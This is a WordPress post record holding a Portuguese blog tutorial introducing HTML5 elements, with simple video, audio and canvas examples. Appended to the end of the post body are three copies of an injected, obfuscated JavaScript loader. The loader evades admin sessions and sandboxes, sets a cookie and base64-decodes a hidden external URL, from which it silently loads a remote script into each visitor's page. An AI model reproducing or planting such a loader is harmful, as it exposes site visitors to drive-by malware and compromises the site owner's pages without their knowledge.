{"id":723,"date":"2010-11-15T22:32:51","date_gmt":"2010-11-16T00:32:51","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=723"},"modified":"2025-10-26T22:42:19","modified_gmt":"2025-10-27T01:42:19","slug":"introducao-ao-html-5","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/11\/15\/introducao-ao-html-5\/","title":{"rendered":"Introdu\u00e7\u00e3o ao HTML 5"},"content":{"rendered":"<p style=\"text-align: justify;\">O HTML 5 \u00e9 a nova especifica\u00e7\u00e3o de HTML, XHTML e DOM que est\u00e1 sendo feita em conjunto pela <a title=\"World Wide Web Consortium\" href=\"http:\/\/www.w3.org\/\" target=\"_blank\" rel=\"noopener\">World Wide Web Consortium (W3C)<\/a> e <a title=\"WHATWG\" href=\"http:\/\/www.whatwg.org\/\" target=\"_blank\" rel=\"noopener\">Web Hypertext Application Technology Working Group (WHATWG)<\/a>. Ainda est\u00e1 em progresso, mas alguns browsers j\u00e1 possuem suporte parcial \u00e0 essa especifica\u00e7\u00e3o, como as \u00faltimas vers\u00f5es do Firefox, Chrome, Opera, Safari e Internet Explorer 9.<\/p>\n<p style=\"text-align: justify;\">Essa especifica\u00e7\u00e3o possui algumas caracter\u00edsticas interessantes, como a redu\u00e7\u00e3o da necessidade de plugins externos com o uso de tags de v\u00eddeo, \u00e1udio e desenho (canvas) j\u00e1 embutidas na especifica\u00e7\u00e3o, armazenamento offline, al\u00e9m de novas tags espec\u00edficas para conte\u00fado como article, footer, header, nav, section e entrada de dados de calend\u00e1rio, data, hora, e-mail URL, busca.<\/p>\n<p style=\"text-align: justify;\">Para estrutura melhor o conte\u00fado foram criados os seguintes elementos:<\/p>\n<ul>\n<li>&lt;article&gt; - Utilizado para conte\u00fados externos, como por exemplo, blog, forum, not\u00edcias;<\/li>\n<li>&lt;aside&gt; - Para conte\u00fado que adicional e relacionado (interno) \u00e0 outro conte\u00fado;<\/li>\n<li>&lt;command&gt; - Bot\u00e3o, radio ou checkbox;<\/li>\n<li>&lt;details&gt; - Descri\u00e7\u00e3o de detalhes ou partes de um documento;<\/li>\n<li>&lt;summary&gt; - Legenda ou sum\u00e1rio interno ao detalhe;<\/li>\n<li>&lt;figure&gt; - Conte\u00fado perif\u00e9rico com legenda;<\/li>\n<li>&lt;figcaption&gt; - Legenda da se\u00e7\u00e3o figure;<\/li>\n<li>&lt;footer&gt; - Rodap\u00e9 de um documento ou se\u00e7\u00e3o, pode conter nome do autor, data do documento, informa\u00e7\u00e3o de contato, copyright;<\/li>\n<li>&lt;header&gt; - Introdu\u00e7\u00e3o de um documento ou se\u00e7\u00e3o, pode incluir navega\u00e7\u00e3o (nav);<\/li>\n<li>&lt;hgroup&gt; - Se\u00e7\u00e3o de agrupamento de elementos de headings: &lt;h1&gt;, ..., &lt;h6&gt;;<\/li>\n<li>&lt;mark&gt; - Para textos que devem ser destacados;<\/li>\n<li>&lt;meter&gt; - Para medidas, utilizada somente quando \u00e9 conhecido o valor m\u00e1ximo e m\u00ednimo;<\/li>\n<li>&lt;nav&gt; - Se\u00e7\u00e3o para navega\u00e7\u00e3o;<\/li>\n<li>&lt;progress&gt; - Indicador de progresso;<\/li>\n<li>&lt;ruby&gt; - <a title=\"Ruby annotation\" href=\"http:\/\/www.w3.org\/TR\/ruby\/\" target=\"_blank\" rel=\"noopener\">Ruby annotation<\/a>;<\/li>\n<li>&lt;rt&gt; - Descri\u00e7\u00e3o da ruby annotation;<\/li>\n<li>&lt;rp&gt; - Conte\u00fado a ser exibido se o browser n\u00e3o tiver suporte ao ruby annotation;<\/li>\n<li>&lt;section&gt; - Para uma se\u00e7\u00e3o em um documento como por exemplo cap\u00edtulos;<\/li>\n<li>&lt;time&gt; - Para definir uma data, hora ou as duas;<\/li>\n<li>&lt;wbr&gt; - Quebra de linha;<\/li>\n<\/ul>\n<p>Elementos de m\u00eddia:<\/p>\n<ul>\n<li>&lt;audio&gt; - Para sons, m\u00fasica ou streams de \u00e1udio;<\/li>\n<li>&lt;video&gt; - Para clips ou streams de v\u00eddeos;<\/li>\n<li>&lt;source&gt; - Recursos de midia definidos dentro de um elemento de v\u00eddeo ou \u00e1udio;<\/li>\n<li>&lt;embed&gt; - Conte\u00fado interno: plugins;<\/li>\n<\/ul>\n<p>Elemento de desenho:<\/p>\n<ul>\n<li>&lt;canvas&gt; - Para desenhar gr\u00e1ficos com script;<\/li>\n<\/ul>\n<p>Elementos de formul\u00e1rio:<\/p>\n<ul>\n<li>&lt;datalist&gt; - Lista de elementos para selecionar;<\/li>\n<li>&lt;keygen&gt; - Gera chaves para usu\u00e1rios autenticados;<\/li>\n<li>&lt;output&gt; - Para tipos diferentes de sa\u00edda, como sa\u00eddas feitas por javascript;<\/li>\n<\/ul>\n<p>Elementos input type=\"?????\":<\/p>\n<ul>\n<li>tel - Valor de n\u00famero de telefone;<\/li>\n<li>search - Campo para busca;<\/li>\n<li>url - Valor de URL;<\/li>\n<li>email - Valor de e-mail;<\/li>\n<li>datetime - Data e hora;<\/li>\n<li>date - Data;<\/li>\n<li>month - M\u00eas;<\/li>\n<li>week - Semana;<\/li>\n<li>time - Hora;<\/li>\n<li>datetime-local - Valor local de data e hora;<\/li>\n<li>number - Valor num\u00e9rico;<\/li>\n<li>range - Intervalor n\u00famero;<\/li>\n<li>color - Cor em valor hexadecimal;<\/li>\n<\/ul>\n<h2 style=\"text-align: justify;\">Exemplos<\/h2>\n<p style=\"text-align: justify;\">Caso queira obter detalhes sobre os atributos necess\u00e1rios e mais informa\u00e7\u00f5es, consulte a especifica\u00e7\u00e3o: <a title=\"HTML5\" href=\"http:\/\/www.w3.org\/TR\/html5\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.w3.org\/TR\/html5\/<\/a>.<\/p>\n<p style=\"text-align: justify;\">Para colocar um v\u00eddeo \u00e9 s\u00f3 inserir a tag v\u00eddeo com o atributo src apontando para um v\u00eddeo do tipo ogg ou mpeg4.\u00a0 Como no exemplo abaixo:<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;video width=&quot;400&quot; height=&quot;300&quot; controls=&quot;controls&quot;&gt;\n &lt;source src=&quot;video.ogg&quot; type=&quot;video\/ogg&quot; \/&gt;\n &lt;source src=&quot;video.mp4&quot; type=&quot;video\/mp4&quot; \/&gt;\n Browser sem suporte ao elemento de v\u00eddeo.\n&lt;\/video&gt;\n<\/pre>\n<p style=\"text-align: justify;\">Caso o browser n\u00e3o tenha suporte a ogg, ele ir\u00e1 tocar o mp4 e se mesmo assim n\u00e3o tiver suporte ele ir\u00e1 mostrar o conte\u00fado \"Browser sem suporte ao elemento de v\u00eddeo\". Para tocar uma m\u00fasica o procedimento \u00e9 semelhante, bastanto utilizar a tag audio, que deve ser no formato ogg, mp3 ou wav.<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;audio controls=&quot;controls&quot;&gt;\n &lt;source src=&quot;musica.ogg&quot; type=&quot;audio\/ogg&quot; \/&gt;\n &lt;source src=&quot;musica.mp3&quot; type=&quot;audio\/mpeg&quot; \/&gt;\n Browser sem suporte ao elemento de \u00e1udio.\n&lt;\/audio&gt;\n<\/pre>\n<p style=\"text-align: justify;\">Outro recurso interessante e poderoso \u00e9 o canvas, que possibilita desenhar utilizando javascript. Para criar um canvas basta utilizar a tag &lt;canvas&gt; por exemplo.<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;canvas id=&quot;exemploCanvas&quot; width=&quot;200&quot; height=&quot;200&quot;&gt;&lt;\/canvas&gt;\n<\/pre>\n<p style=\"text-align: justify;\">A\u00ed \u00e9 s\u00f3 desenhar com javascript:<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;script type=&quot;text\/javascript&quot;&gt;\n var c=document.getElementById(&quot;exemploCanvas&quot;);\n var cxt=c.getContext(&quot;2d&quot;);\n cxt.fillStyle=&quot;#00FF00&quot;;\n cxt.fillRect(50,20,100,75);\n&lt;\/script&gt;\n<\/pre>\n<p style=\"text-align: justify;\">Existem v\u00e1rios outros recursos interessantes, como armazenagem web (estilo cookie) e v\u00e1rios tipos input diferentes, mas ainda poucos browsers oferecem suporte \u00e0 esses novos inputs, com exce\u00e7\u00e3o do Opera.<br \/>\nPara visualizar alguns desses recursos do HTML5, \u00e9 s\u00f3 acessar o site do meu filho e visualizar o c\u00f3digo fonte: <a title=\"Daniel Haruyuki Momo Vespa\" href=\"http:\/\/daniel-vespa.appspot.com\" target=\"_blank\" rel=\"noopener\">http:\/\/daniel-vespa.appspot.com<\/a><br \/>\nEm breve novos posts utilizando HTML5. Esse \u00e9 s\u00f3 o come\u00e7o :)...<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O HTML 5 \u00e9 a nova especifica\u00e7\u00e3o de HTML, XHTML e DOM que est\u00e1 sendo feita em conjunto pela World Wide Web Consortium (W3C) e Web Hypertext Application Technology Working Group (WHATWG). Ainda est\u00e1 em progresso, mas alguns browsers j\u00e1 <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/11\/15\/introducao-ao-html-5\/\">Continue lendo  <span class=\"screen-reader-text\">  Introdu\u00e7\u00e3o ao HTML 5<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[68],"tags":[],"class_list":["post-723","post","type-post","status-publish","format-standard","hentry","category-html-e-javascript"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/723","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=723"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/723\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=723"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=723"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=723"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}